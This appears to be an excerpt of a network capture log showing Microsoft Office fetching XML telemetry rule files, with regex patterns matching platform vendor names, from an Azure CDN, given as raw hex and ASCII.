2024-11-21 18:59:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:50 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185950Z-1777c6cb7549x5qchC1TEBggbg0000000bmg00000000av90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:50 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:51 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:52 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185952Z-178bfbc474btvfdfhC1NYCa2en00000001x000000000nbw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:52 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:51 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:52 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185952Z-178bfbc474bfw4gbhC1NYCunf400000001xg000000009uwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:52 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:51 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:52 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185952Z-178bfbc474btvfdfhC1NYCa2en00000001u0000000011e2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:52 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:52 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:52 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:52 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185952Z-178bfbc474bnwsh4hC1NYC2ubs00000001y000000000hw8k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:52 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:52 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185952Z-r1d97b99577l6wbzhC1TEB3fwn0000000aug00000000k3fc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:54 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:54 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185954Z-174c587ffdfl22mzhC1TEBk40c00000000kg0000000000s5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:54 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:54 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185954Z-178bfbc474bv7whqhC1NYC1fg400000001ug00000000rky8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:54 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:54 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:54 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 138215a1-101e-0017-6465-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185954Z-178bfbc474bv587zhC1NYCny5w00000001v0000000001qza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:54 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:54 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 906eedcd-201e-0071-4861-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185954Z-178bfbc474bwlrhlhC1NYCy3kg00000001u000000000twh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:54 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:55 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185954Z-174c587ffdfl22mzhC1TEBk40c00000000hg0000000000m8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 18:59:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:56 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:56 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cf2b2526-c01e-0082-5660-3baf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185956Z-178bfbc474bgvl54hC1NYCsfuw00000001vg00000000fa3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:56 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
